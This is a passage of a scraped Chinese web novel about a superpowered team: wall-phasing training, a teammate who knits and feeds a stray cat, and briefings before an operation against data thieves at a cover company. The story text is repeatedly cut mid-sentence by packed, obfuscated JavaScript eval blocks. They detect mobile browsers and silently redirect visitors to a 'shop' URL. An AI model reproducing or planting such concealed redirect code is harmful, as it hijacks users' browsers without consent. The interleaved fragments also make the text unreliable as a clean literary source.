d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191467|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听到他绕过障碍时衣服刮擦的声音,听到他的呼吸从平稳到急促,再到有些困难。 管道中段,她听到一个危险的信号——林墨的穿墙速度明显慢了下来,心跳也出现了不规则的跳动。 “林墨,你还好吗?”她忍不住问。 没有回答,只有更加沉重的呼吸声。 “陈头……”杨晓晓看向陈树。 陈树表情严肃,但摇了摇头:“让他自己完成。” 又过了艰难的十几秒,林墨终于从管道另一头出来了。他一出来就直接跪倒在地,大口喘着气,汗水把训练服都浸透了。 “时间三分二十八秒,比上次快十五秒。”陈树记录,“但体力消耗过大,出来后恢复时间需要缩短。” 熊毅和雷昊把林墨扶到长椅上休息。杨晓晓递给他毛巾和水。 “谢……谢谢。”林墨的声音很虚弱。 “你太拼了。”杨晓晓说。 林墨摇摇头,勉强笑了笑:“得练。下次说不定就能快二十秒了。” 训练结束后,陈树做了总结:“林墨的穿墙精度在提高,但体力分配还需要优化。杨晓晓的监听判断准确,对墙体结构的听觉分析能力超出预期。” 他看向两人:“你们的能力可以形成很好的配合。杨晓晓提前探明墙体结构,林墨根据情报选择最佳穿墙路径——这在实战中可能很关键。” 回去的路上,杨晓晓和林墨一起走。夕阳把影子拉得很长。 “今天谢谢你。”林墨突然说,“你听到钢筋的时候……那声提醒很及时。” “应该的。”杨晓晓说,“我们是队友嘛。” 林墨点点头,沉默了一会儿,又说:“其实我有时候会想,为什么是我有这种能力。不像雷昊的电能那么实用,也不像熊哥的力量那么直接。穿墙……听起来厉害,但限制太多,用处好像也不大。” “怎么会呢?”杨晓晓认真地说,“今天陈头不是说了吗,我们的能力可以配合。而且你救过猫,以后说不定还能救更多人。再说——” 她想了想:“你想啊,如果以后我们出任务,需要进一个锁着的房间,你可以直接穿进去开门,这多方便。” 林墨笑了:“这倒是。” “还有,如果有人在追我们,你可以穿墙带我们躲起来。” “带人穿墙我现在还做不到,只能自己穿。” “那你可以先穿过去看看情况,给我们探路啊。” 两人你一言我一语,说着穿墙能力可能的各种用途。说到后来,林墨的眼睛亮了起来,不像之前那么没自信了。 地铁站到了,他们又要坐不同的线路。 “明天见。”林墨说。 “明天见。”杨晓晓挥挥手。 坐上地铁,杨晓晓靠着车窗,回想今天的训练。 她看到了林墨能力的另一面——不是训练场上那个总能穿墙成功的“回音”,而是一个会累、会怕、会犹豫,但依然坚持训练的年轻人。 就像她自己一样。 每个人都有不完美的地方,都在努力变得更好。 而在这个过程中,他们开始了解彼此,开始建立信任。 手机震动,是雷昊在群里发消息:“@林墨明天训练完去吃火锅怎么样?我发现一家新开的,据说肉特别新鲜!” 熊毅:“可以。” 杨晓晓:“我同意!” 林墨过了一会儿才回复:“好。[小猫点头.jpg]” 杨晓晓看着那个小猫表情包,笑了。 这就是她的队友们。性格各异,能力不同,但都在努力成为更好的自己,也在学着成为彼此的依靠。 地铁在隧道中穿行,窗外的灯光连成流动的光带。 杨晓晓忽然觉得,有这样的队友,前路好像也没那么可怕了。 毕竟,就算遇到再厚的墙,也总有人能找到穿过去的方法。 而她,很幸运,能听到那些穿墙的声音,能成为那个提醒“小心钢筋”的人。 这就够了。 28. 熊毅的温柔一面 训练间歇,杨晓晓在基地后院的槐树下,看见了熊毅。 午后的阳光透过枝叶缝隙洒下斑驳光影,那个身高一米九、肩膀宽阔得能挡住半扇门的男人,正坐在石凳上微微弓着背。他的坐姿依旧挺拔如松,但整个人的气场却与训练场上截然不同。 吸引杨晓晓目光的,是他手中的动作。 熊毅粗壮的手指间,两根细长的织针正以某种奇异的韵律翻飞。米白色的毛线在他指尖流淌,已经织出了一小片图案——那是一只小猫的侧脸轮廓,耳朵尖尖,胡须的线条清晰可见。 杨晓晓下意识地停住脚步,藏在廊柱后悄悄看着。 这个画面有种强烈的反差感。她见过熊毅一拳打穿特制沙袋的样子,见过他扛着两百公斤负重面不改色奔跑的样子,见过他在模拟战中用身体硬抗冲击保护队友的样子。 那些时候,他是“磐石”,是团队最坚实的盾。 而现在,他是温柔的,专注的,手指捏着细细的织针,一针一针织着一块要给流浪猫用的小垫子。 阳光落在他专注的侧脸上,额角还有未干的汗珠——刚才的高强度训练刚结束不到半小时。可他似乎完全不觉得累,或者说,织毛线对他来说是另一种休息。 “看够了?”熊毅头也没抬,低沉的声音在安静的午后格外清晰。 杨晓晓脸一红,从廊柱后走出来:“我……我就是路过。” “坐。”熊毅指了指对面的石凳。 杨晓晓坐下,目光忍不住落在那块逐渐成形的织片上。针脚细密均匀,小猫的轮廓栩栩如生,连胡须都是一针针织出来的立体效果。 “你织得真好。”她由衷地说,“我是说……真的很好。” 熊毅手上的动作没停:“熟能生巧。” “我记得你自我介绍时说过喜欢织毛线,”杨晓晓回忆着,“但没想到是这么……精致的织法。” “这是最简单的立体织法。”熊毅说,“班长教了十二种针法,我只学会八种。” 又是班长。杨晓晓注意到,每次提到这两个字,熊毅的声音都会有一丝难以察觉的变化——不是悲伤,是一种更深沉的、带着怀念的平静。 “班长一定是个很细心的人。”她说。 熊毅的手顿了顿,织完这一行的最后一针,才抬起头。阳光落进他的眼睛里,让那双平时总是沉稳坚毅的眼睛多了些柔软的光。 “他是我们排最细心的人。”熊毅缓缓说道,“也是最好的狙击手。他说,狙击手和织毛线有共通之处——都要手稳,心静,耐得住寂寞。” 他从随身的挎包里掏出一个小布袋,把织好的部分小心地放进去,又从里面拿出另一团毛线——淡黄色的,更柔软。 “这是给小猫垫子用的,要软一点。”熊毅解释,“米白色的那块是面,要织图案。淡黄色的是底,贴着猫的身体,要柔软保暖。” 杨晓晓看着他细致地区分两种毛线的用途,心里涌起一种奇妙的感动。这个能在训练场上徒手掰弯钢筋的男人,对一只流浪猫的垫子如此上心。 “你经常做这些吗?”她问。 “有空就做。”熊毅开始起针,动作熟练得仿佛做过千百遍,“以前在部队,驻地在山里,冬天冷。班长教我们织围巾、手套、护膝。后来退伍了,这个习惯就留了下来。” 他的手指在淡黄色的毛线上翻飞,起针的动作快而准:“现在织的东西,大部分都送给需要的人。敬老院,孤儿院,流浪动物救助站。” 杨晓晓忽然想起什么:“你说,织毛线是以前班长教的,能静心。” “嗯。”熊毅点点头,“刚进特种部队时,我脾气急,训练容易冒进。班长就让我学织毛线。一开始我抗拒,觉得大男人干这个丢人。” 他嘴角浮起一丝几乎看不见的笑意:“班长说,能控制针线的手,才能控制扳机。能静下心织出一件完整东西的人,才能在战场上保持冷静。” “后来呢?” “后来我织了全排第一双手套。”熊毅的语气里带着淡淡的骄傲,“班长戴着那双手套,在零下二十度的雪山里潜伏了六个小时,一枪命中目标。” 他织完几行,停下来检查针脚:“任务结束后,班长说,那双手套救了他的手,也救了任务。” 杨晓晓静静地听着。她忽然明白了,为什么熊毅总是能在最紧张的训练中保持冷静,为什么他能在模拟战中做出最精准的判断——那种静心的能力,是从一针一线中磨练出来的。 “班长他……”杨晓晓犹豫了一下,还是问了出来,“现在还好吗?” 熊毅的手指停住了。 阳光继续洒落,树影随风轻晃。有几秒钟,院子里安静得只能听到远处训练场隐约传来的喊声。 “牺牲了。”熊毅的声音很平静,但杨晓晓听出了平静水面下的暗流,“三年前,边境任务。为了掩护我们小组撤退。” 他重新开始织毛线,动作比之前慢了一些,但依然稳定:“他走的时候,手里还攥着我织的那双手套。手套破了,染了血,但他一直戴着。” 杨晓晓心里一紧,想说对不起,却发现自己说不出话。 “不用道歉。”熊毅像是知道她在想什么,“班长说过,记得才是最好的告别。我每织一件东西,就想起他教我的样子。这样他就一直在。” 他织完淡黄色毛线的最后几针,咬断线头,把两块织片拼在一起,开始缝合。阳光照在他专注的侧脸上,额头那道训练中留下的旧伤疤在光影中若隐若现。 “所以你现在织东西……”杨晓晓轻声说。 “是纪念,也是传承。”熊毅说,“班长教我的,我教给需要的人。他救过我,我帮能帮的人。这样,他做的事就没有白做,他救的人也没有白救。” 缝合完成,他抖开织好的垫子。米白色的一面是精致的小猫图案,淡黄色的底面柔软蓬松。垫子不大,刚好够一只猫蜷缩其中。 “完工。”熊毅把垫子叠好,放回布袋,又从挎包里掏出一个小密封袋,里面装着几条小鱼干形状的东西。 “这是?” “猫零食,我自己做的。”熊毅说,“鸡胸肉切条,低温烘干,不加任何调料。” 他收拾好东西,站起来:“要去看猫吗?” 杨晓晓点头。两人离开后院,绕到基地后巷。巷子狭窄安静,堆放着一些不用的训练器材。在一个避风的角落,放着一个干净的纸箱,里面铺着旧毛巾。 那只熟悉的胖橘猫正蜷在里面睡觉,听到脚步声,懒洋洋地睁开眼睛。看到熊毅,它居然没跑,反而“喵”了一声,慢悠悠地爬出来,用脑袋蹭他的裤腿。 “它认识你?”杨晓晓惊讶。 “喂了它快一年了。”熊毅蹲下身,从布袋里拿出新织的垫子,仔细铺在纸箱里,又把旧毛巾叠好垫在下面。猫好奇地用爪子扒拉垫子上的小猫图案,然后满意地躺了上去。 熊毅又拿出小鱼干,猫立刻凑过来,津津有味地吃起来。他耐心地看着,粗壮的手指轻轻挠着猫的下巴,猫发出满足的呼噜声。 杨晓晓看着这一幕。夕阳的金光斜照进小巷,给熊毅的背影镀上一层温暖的光晕。这个能在训练中一拳打穿墙壁的男人,此刻蹲在巷子里,温柔地喂着一只流浪猫。 “你经常来喂它?”她问。 “每天训练结束,只要没有任务。”熊毅说,“它很聪明,知道这个时间等我。” 猫吃完小鱼干,舔舔爪子,又蹭了蹭熊毅的手,然后跳回纸箱,在新垫子上转了几圈,找了个最舒服的姿势躺下,呼噜声更响了。 “它喜欢这个垫子。”杨晓晓说。 熊毅点点头,嘴角有细微的弧度。那个笑容很浅,但杨晓晓看见了——那是发自内心的、纯粹的愉悦。 他们又站了一会儿,看猫蜷在垫子上睡得香甜。夕阳渐渐沉下去,巷子里的光线变得柔和。 “回去吧。”熊毅站起来。 回基地的路上,杨晓晓忍不住问:“基地里……其他人知道吗?” “雷昊知道,他经常跟我一起来喂。”熊毅说,“林墨也知道,但他家有猫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191468|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只敢远远看着。陈头……他什么都知道。” 他的语气很自然,仿佛这是一件再平常不过的事。 走到训练馆门口,雷昊正好从里面冲出来,看到他们,眼睛一亮:“大熊!你又去喂猫了?今天带什么好吃的了?” “鸡胸肉干。”熊毅说。 “我也要!”雷昊夸张地伸手,“我训练这么累,也需要补充蛋白质!” 熊毅拍开他的手:“那是给猫的。你的在更衣室柜子里,牛肉三明治。” “耶!大熊万岁!”雷昊欢呼着跑向更衣室,又回头喊,“晓晓你也来!大熊做的三明治超好吃!” 杨晓晓看向熊毅,后者点点头:“做了四人份。林墨应该已经在了。” 更衣室旁的小休息室里,林墨果然已经坐在桌边,面前放着一个保鲜盒。看到他们进来,他抬起头,露出温和的笑容:“熊哥的三明治,我加热了一下。” 桌上放着四个保鲜盒,打开后里面是精致的三明治——全麦面包夹着烤牛肉、新鲜蔬菜、煎蛋,甚至还有用番茄片切成的小猫形状装饰。 “大熊你连三明治都要做成艺术品的吗?”雷昊拿起一个咬了一大口,满足地眯起眼睛,“好吃!” 杨晓晓拿起自己的那份,咬了一口。面包松软,牛肉鲜嫩,蔬菜爽脆,酱汁的味道恰到好处。 “真的很好吃。”她由衷地说。 熊毅坐在对面,也拿起自己的那份,吃得很慢,很认真。阳光从窗户照进来,照在四个人身上,照在桌上简单的食物上,照在这个平凡的午后时刻。 杨晓晓忽然觉得,这个画面很珍贵。 这些有着特殊能力、肩负特殊使命的人,在训练和任务之外,也只是普通人。会累,会饿,会照顾流浪猫,会为队友准备便当,会坐在阳光下一起吃简单的三明治。 而正是这些平凡的时刻,让他们成为可以信任的队友,成为可以把后背交给对方的人。 吃完饭,熊毅收拾保鲜盒,杨晓晓帮着擦桌子。 “熊哥,”她轻声说,“谢谢你。” 熊毅看向她,眼神询问。 “谢谢你让我看到……”杨晓晓顿了顿,寻找合适的词,“强大的另一面。还有,谢谢你做的三明治。” 熊毅沉默了几秒,点点头:“你也一样。” “我?” “你有很强的能力,但没被它改变。”熊毅说,“你还是你。这很难得。” 他说完,拿着保鲜盒离开了休息室。杨晓晓站在原地,品味着这句话。 雷昊凑过来,小声说:“大熊很少夸人的。他说你难得,那就是真的觉得你难得。” 林墨也点头:“熊哥看人很准。” 杨晓晓心里涌起一股暖意。她看向窗外,夕阳已经快要完全沉下去了,天边留下一片绚烂的晚霞。 手机震动了一下,是加密通讯器的消息。她拿出来看,是熊毅发来的一张照片——那只橘猫蜷在新垫子上,睡得正香,垫子上的小猫图案和它自己的轮廓重叠在一起,像一大一小两只猫依偎着。 照片下面有一行字:“它很喜欢。” 杨晓晓微笑,回复:“你织的垫子很温暖。[太阳]” 熊毅回了一个简单的“嗯”。 收起通讯器,杨晓晓望向窗外的晚霞。她想,人真是多面的存在。熊毅可以是训练场上最坚实的盾,也可以是巷子里温柔的喂猫人;可以是战斗中果断的突击手,也可以是休息时安静织毛线的伙伴。 而他们这个团队,就是这样一群多面的人组成的。 每个人都有自己的故事,自己的伤痛,自己的温柔。 但也正是这些,让他们成为可以互相理解、互相支持的队友。 晚霞渐渐褪去,夜幕降临。 明天还有训练,还有挑战,还有未知的任务。 但至少在这个夜晚,杨晓晓觉得,和这样的队友一起,前路并不可怕。 因为她知道,在他们坚硬的外壳下,都有一颗温柔的心。 这就够了。 29. 第一卷结尾:平静下的暗流 周五晚上十点半,杨晓晓刚结束在深蓝科技的加班工作,就收到了陈树的加密消息。 “基地紧急会议,尽快到。” 她心里一紧,迅速收拾东西。经过行政部办公室时,王姐抬头看她:“晓晓,又加班这么晚?” “嗯,项目赶进度。”杨晓晓含糊应道,匆匆离开写字楼。 十点五十分,她赶到特保局地下基地。会议室里已经坐着陈树、雷昊、林墨和熊毅,四个人都穿着便装,但表情严肃。 “坐。”陈树指了指空位,“雷昊,你先说。” 雷昊打开投影,屏幕上显示出一系列复杂的电子信号图谱:“最近一周,我监控到针对深蓝科技的异常网络活动增加了三倍。对方尝试了七次不同方式的渗透,虽然都被拦截,但手法越来越专业。” 他调出另一组数据:“更麻烦的是,这些攻击的来源在变化——最开始是普通的境外服务器,现在开始使用跳板,路径经过四个国家,最终源头很难追踪。” 杨晓晓认真听着。她知道深蓝科技表面上是一家普通的科技公司,实际上是特保局用来安置像她这样的特殊人员的掩护机构。但究竟是什么人,会频繁攻击这样一家看起来并不起眼的公司? “林墨,你那边的情况。”陈树说。 林墨调出几张照片,是深蓝科技大楼周边的监控截图:“这周发现了三个可疑人员在附近徘徊。他们伪装成外卖员、维修工和快递员,但行为模式不符合常规——会在不该停留的地方长时间停留,会观察消防通道和后门。” “能确定身份吗?”熊毅问。 “还在追踪。”林墨说,“但他们很警惕,会刻意避开面部识别摄像头。” 陈树看向杨晓晓:“你的监听数据。” 杨晓晓打开自己的记录本,开始汇报:“本周我对深蓝科技内部进行了系统性的监听。除了常规的办公室声音外,发现了几处异常。” 她调出录音文件:“首先是三楼304室——那个空房间。本周二和周四晚上,又有活动记录。但这次有一个变化:除了电子提示音和键盘声,我听到了……对话片段。” 会议室里安静下来。 “能听清内容吗?”陈树问。 “部分。”杨晓晓播放处理过的录音片段,“第一个声音说:‘数据传出去没有?’第二个声音回答:‘还差一点,加密协议太复杂。’第三个声音——这个声音很模糊,像是压低声音在说:‘快点,巡逻快来了。’” 她暂停播放:“然后就是收拾设备的声音,脚步声往楼梯间方向去,但没有下楼,而是……上四楼,从那个被破坏的窗户离开了。” 雷昊眉头紧皱:“他们知道我们的巡逻时间?” “很可能。”陈树表情凝重,“这意味着对方对深蓝科技内部的运作有一定了解。” 杨晓晓继续:“还有第二个异常点。我监听到公司网络部服务器机房有轻微但持续的高频信号,频率在20000赫兹左右,超出人耳接收范围。这个信号每天固定出现三次:早上八点半,中午十二点,下午五点半,每次持续三到五分钟。” “技术部的人没发现?”熊毅问。 “我悄悄问过网络部的小李,”杨晓晓说,“他说最近服务器偶尔会卡顿,但检查后没发现问题。那个高频信号很隐蔽,如果不是我听力特殊,常规设备也检测不到。” 雷昊立刻在电脑上操作:“20000赫兹……这可能是某种隐蔽的数据传输信号。我查一下深蓝科技最近的数据流量记录。” 会议室里只剩下键盘敲击声。杨晓晓看着投影上的数据,心里涌起一股复杂的情绪——担忧,紧张,但还有一种奇异的兴奋。 这一个月来,她逐渐适应了双面生活。白天是深蓝科技的行政专员杨晓晓,处理文件、组织会议、帮同事解决各种小问题;晚上是特保局的监听员,训练能力、学习技术、执行任务。 她学会在办公室用普通人的听力,只在必要时才集中注意力;也学会在任务中快速进入状态,屏蔽干扰,精准捕捉目标声音。 更重要的是,她开始真正理解这份工作的意义。她监听的不只是声音,是信息,是线索,是可能威胁到国家安全和人民安全的潜在危险。 “找到了!”雷昊突然说,“深蓝科技服务器在过去一周,每天有三个时间段的数据流量异常——正好是晓晓说的那三个时间!虽然每次流量增加不大,但如果长期持续,能传输大量数据!” 陈树站起来,走到白板前:“综合来看,我们面临的情况比预想的复杂。对方不是临时起意,而是有组织、有计划、有技术的团伙。他们的目标很可能是深蓝科技掩护下的特保局相关数据。” 他在白板上写下几个关键词:持续监听、规律活动、隐蔽传输、内外配合。 “现在的问题是,”陈树转身面对四人,“对方是谁?他们知道多少?最终目标是什么?” 会议室里一片沉默。窗外——虽然是地下基地,但模拟窗户显示着虚拟的夜景,营造出正常办公环境的感觉——城市的灯光仿佛很遥远。 “我们需要行动。”熊毅沉稳地说,“被动防守不是办法。” “同意。”林墨小声但坚定地说,“应该主动出击,至少摸清对方底细。” 雷昊举手:“我可以设置陷阱,用假数据引诱他们深入,然后反向追踪。” 所有人的目光投向杨晓晓。 她深吸一口气:“我的监听可以继续。如果能捕捉到更多对话内容,也许能获得关键信息。” 陈树看着四个年轻人,点了点头:“好。接下来两周,我们要做三件事。” 他竖起手指:“第一,雷昊设置数据陷阱,用看起来有价值但实际上无害的假数据,引诱对方深入,同时植入追踪程序。” “第二,林墨和熊毅,你们加强对深蓝科技周边的监控。我要知道每个进出那栋楼的可疑人员的完整轨迹。” “第三,杨晓晓,你的监听任务升级。从今晚开始,你需要对深蓝科技全楼进行系统性监听,建立完整的声纹数据库。任何异常声音,无论多轻微,都要记录分析。” 他顿了顿,语气变得严肃:“这次行动的危险性比之前都高。对方可能已经察觉到我们的存在,可能有所准备。所以,安全第一。任何异常情况,立即报告,不要擅自行动。” “明白!”四人齐声回答。 “好,现在制定详细计划。”陈树坐下来,“雷昊,你的陷阱需要多久?” “三天设计,两天测试,下周一可以激活。” “林墨、熊毅,监控方案今晚出初稿,明天实地勘察。” “杨晓晓,声纹数据库需要什么支持?” 杨晓晓想了想:“需要更专业的录音设备,覆盖全楼的拾音网络,还有……一些训练。目前我最多能同时监听五个频道,要覆盖整栋楼,可能需要分级监听,重点区域重点监控。” “设备雷昊帮你解决,训练从明天开始。”陈树说,“还有问题吗?” 杨晓晓犹豫了一下,还是问:“陈队,你觉得……对方到底是什么人?” 陈树沉默了几秒:“根据现有信息,可能是境外情报机构,也可能是国内某些组织的商业间谍,甚至可能是……其他拥有特殊能力的人或组织。” “其他特殊能力者?”杨晓晓第一次听到这个说法。 “特保局不是唯一发现和研究特殊能力的机构。”陈树说得很谨慎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191469|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“国际上,有些国家和组织也在进行类似的研究。有些人是自然觉醒,有些人是……通过特殊手段获得的。” 会议室里的气氛更加凝重了。 “当然,这只是可能性之一。”陈树站起来,“在掌握确凿证据前,不要妄下结论。现在,各就各位,开始工作。” 会议结束,已经是深夜十一点半。杨晓晓收拾东西准备离开,陈树叫住她。 “杨晓晓,你最近进步很快。”他说,“但压力也很大。记得平衡工作和生活,别把自己逼得太紧。” 杨晓晓有些意外。这是陈树第一次说这么“人性化”的话。 “我……我会注意的。”她说。 “周末有安排吗?”陈树问。 “没有特别的……” “那周日早上七点,基地门口集合,去西山爬山。”陈树说得很自然,“雷昊提议的,说大家需要放松。我同意了。” 杨晓晓愣了愣,然后笑了:“好,我一定到。” 走出会议室,雷昊、林墨、熊毅还在走廊里等她。 “晓晓,周日别忘了啊!”雷昊兴奋地说,“我查了天气,晴天!适合爬山!” 熊毅点头:“我会准备便当。” 林墨小声说:“我……我带了相机,可以拍照。” 杨晓晓看着这三个队友——技术狂热的雷昊,内向细心的林墨,沉稳可靠的熊毅。一个月前,他们还是陌生人;现在,他们是并肩作战的队友,是可以一起爬山的伙伴。 “我一定到。”她重复道,笑容更灿烂了。 离开基地,杨晓晓坐上回家的地铁。车厢里人很少,她靠在座位上,回想这一个月的经历。 从在电梯事故中觉醒超常听力,到加入特保局,到认识这些队友,到执行监听任务,再到现在面临真正的挑战——一切变化得如此之快,却又如此自然。 她不再是那个只会用超能力订奶茶和找钥匙的普通女孩了。 她是杨晓晓,特保局第四预备行动小队的监听员,代号“谛听”的候选人。 手机震动,是“深蓝幼儿园”群里的消息: 雷昊:【周日爬山物品清单更新版!大家核对!】 熊毅:【收到。】 林墨:【需要我准备什么吗?】 雷昊:【你带相机就行!还有,别穿墙穿到山体里!】 林墨:【……】 杨晓晓笑着回复:【我带水果和零食。】 放下手机,她看向车窗外的城市。夜色中的江城灯火璀璨,看起来和平安宁。但在这平静的表面下,暗流涌动——有守护者,也有窥伺者;有光明,也有阴影。 而她,现在站在光与影的交界线上。 地铁到站,杨晓晓走出车厢。站台上,一个老奶奶提着沉重的购物袋,她下意识地上前帮忙。 “谢谢啊姑娘。”老奶奶笑着说,“你真是个好人。” “不客气,应该的。”杨晓晓帮她把袋子提到出站口。 走在回家的路上,夜风吹拂着她的脸颊。她想起陈树的话——“记得平衡工作和生活”。 是啊,她是特保局的监听员,但她也是杨晓晓,一个会帮助老奶奶提东西的普通女孩。 这两种身份并不矛盾,反而让她更加完整。 打开家门,简单的小公寓温暖而安静。杨晓晓给自己倒了杯水,坐在窗边,看着外面的夜景。 明天,训练继续。 后天,爬山放松。 大后天,新一轮的监听开始。 生活就这样继续着,在平静的表面下,藏着不平凡的使命。 但她不再害怕,不再迷茫。 因为她有队友,有能力,有方向。 30. 行动前夜 周一晚上七点,特保局地下基地,第四预备行动小队专用会议室里弥漫着一种紧绷的安静。 杨晓晓推门进来时,雷昊正盯着三块显示屏上的数据流,手指在键盘上敲得飞快,眉头紧锁。林墨坐在角落的椅子上,一遍遍地检查手腕上的特制设备——那是雷昊改装的多功能手环,集定位、通信、紧急报警于一体。熊毅站在窗边,看似在眺望模拟窗外虚拟的夜景,但杨晓晓注意到他肩膀肌肉微微紧绷,那是随时准备行动的状态。 陈树坐在主位,面前摊开着厚厚一摞文件。听到开门声,他抬起头,朝杨晓晓点了点头:“坐。” 杨晓晓在林墨旁边的位置坐下,心跳不自觉地加快。她知道今晚是任务前的最后一次简报会。 “人都到齐了。”陈树合上文件,环视四人,“明天晚上,行动开始。” 会议室里的空气似乎又凝固了几分。 “根据杨晓晓近一个月的监听数据,结合技术分析和国安部门的调查,我们已经确认了目标的活动规律。”陈树调出投影,屏幕上显示出一张时间表,“每周二和周四晚上九点半到十点半之间,目标会进入深蓝科技三楼304室,进行数据传输。” 杨晓晓盯着那些时间点——正是她记录下的那些异常声音出现的时间段。 “明天就是周二。”陈树继续说,“我们要在这次行动中,完成三个目标:第一,人赃并获;第二,获取完整证据链;第三,如果可能,追踪到他们的上级联系点。” 他看向杨晓晓:“你的任务,实时监听。从明晚九点开始,你就进入深蓝科技附近我们设置的监听点,全程监听目标的一举一动。包括脚步声、呼吸声、操作设备的声音,以及任何对话。” 杨晓晓用力点头:“明白。” “重点汇报目标是否警觉,是否携带武器,数据传输的进度。”陈树强调,“最关键的是,如果他试图销毁数据或逃跑,你要第一时间预警。” “林墨。”陈树转向林墨,“你的任务是穿墙潜入304室隔壁的房间,在确认安全的情况下,安装微型摄像头。我们需要画面证据。” 林墨深吸一口气:“如果……如果隔壁房间有人呢?” “那就放弃安装,退回安全位置。”陈树说,“安全第一。画面证据很重要,但你的安全更重要。” 林墨点点头,但杨晓晓注意到他的手在微微发抖。 “雷昊,你在深蓝科技附近的配电室待命。”陈树指着地图上的一个标记,“必要时制造短暂停电,为我们创造行动窗口。停电信号是我说‘关灯’,停电时长三秒。” 雷昊比了个OK手势:“三秒,不多不少。保证他们的设备来不及启动备用电源,但又不会触发火灾报警。” “熊毅,你在一楼出入口隐蔽值守。”陈树在地图上又画了几个圈,“防止目标逃跑,也保护可能出现的无辜人员。” 熊毅沉稳地点头:“明白。” 陈树环视四人:“我是现场总指挥。国安部门的外围支援已经就位,但不会直接介入,除非情况完全失控。记住,我们的首要任务是确保数据安全,其次是抓捕目标,最后是获取证据。” 他顿了顿,语气变得严肃:“这是你们的第一次正式团队行动,紧张是正常的。但要相信训练,相信能力,也相信队友。” 会议持续了一个小时,详细讨论了每个环节的细节。结束时已经晚上八点半,陈树宣布解散:“都回去好好休息,明天保持状态。” 杨晓晓回到家时已经九点多。她洗了澡,躺在床上,却怎么也睡不着。 一闭上眼睛,各种可能出错的场景就在脑海里轮番上演:目标提前出现怎么办?目标携带武器怎么办?林墨穿墙时卡住了怎么办?停电失败了怎么办?万一因为她的监听失误,导致队友受伤怎么办? “我要是听漏了怎么办……”她对着天花板喃喃自语。 手机震动,是“深蓝幼儿园”群里的消息。 雷昊:【同志们!我刚刚给所有设备做了最终检查!明天保证万无一失!】 熊毅:【已收到设备检查报告,谢谢。】 林墨:【……我睡不着。】 雷昊:【林墨小朋友,要不要哥哥给你讲个睡前故事?关于电磁脉冲原理的那种?】 林墨:【不要。】 雷昊:【那我们来复盘一下行动流程?我提问,你回答!】 林墨:【……好。】 接下来群里开始了问答: 雷昊:【第一题!停电信号是什么?】 林墨:【陈队说‘关灯’。】 雷昊:【正确加十分!第二题!停电后你要做什么?】 林墨:【1秒内完成设备安装或撤离。】 雷昊:【第三题!如果听到晓晓喊‘有危险’怎么办?】 林墨:【立即撤离,等熊哥支援。】 雷昊:【完美!林墨同学进步神速!】 杨晓晓看着屏幕,忍不住笑了。雷昊用这种方式帮林墨缓解紧张,也帮大家巩固记忆。 她打字加入:【第四题!如果我听到目标说‘紧急撤离’要怎么办?】 雷昊:【立即汇报!这是最高优先级代码!】 熊毅:【同时陈队会立即下令行动。】 陈树突然出现在群里:【这么晚还在复习?】 雷昊:【陈头!我们在……进行睡前脑力训练!】 陈树:【现在是休息时间。所有人,放下手机,睡觉。】 雷昊:【遵命!晚安同志们!】 熊毅:【晚安。】 林墨:【晚安。】 杨晓晓:【晚安。】 群里安静了。杨晓晓放下手机,闭上眼睛。 但睡意迟迟不来。她翻来覆去,脑海里反复回放着行动流程:监听、汇报、配合、收网。 凌晨一点,她还是睁着眼睛盯着天花板。 手机又震动了一下,这次是私聊消息。杨晓晓拿起来看,是熊毅发来的。 【睡不着的话,吃颗糖。班长教的。】 下面附了一张照片,是几颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191470|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同口味的水果糖。 杨晓晓回复:【谢谢熊哥。你也睡不着?】 熊毅:【习惯了。行动前夜,总会回想训练内容。】 杨晓晓:【我有点担心……万一我听漏了什么重要信息……】 熊毅的回复隔了几秒才来:【我第一次实战任务前,也失眠了三天。】 杨晓晓惊讶地坐起来:【真的?】 【嗯。那时在特种部队,任务是边境缉毒。行动前夜,我在宿舍里反复检查装备,检查了十七遍。班长找到我,给了我一袋糖,说吃完了就不紧张了。】 【然后呢?】 【然后我吃了糖,还是紧张。但任务成功了。后来我才明白,紧张不是坏事,它让你更专注,更谨慎。相信你的训练,晓晓。你已经不是一个月前的你了。】 杨晓晓看着这段话,鼻子有点酸。她回复:【谢谢熊哥。我会尽力的。】 